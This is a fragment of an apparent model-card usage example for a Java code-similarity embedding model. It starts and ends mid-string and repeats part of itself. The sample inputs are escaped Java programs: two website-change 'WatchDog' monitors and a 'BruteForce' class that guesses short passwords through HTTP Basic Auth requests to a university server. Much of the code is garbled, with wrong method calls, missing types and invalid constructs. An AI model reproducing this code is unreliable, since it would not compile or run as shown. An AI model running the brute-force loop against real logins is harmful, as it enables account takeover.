System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   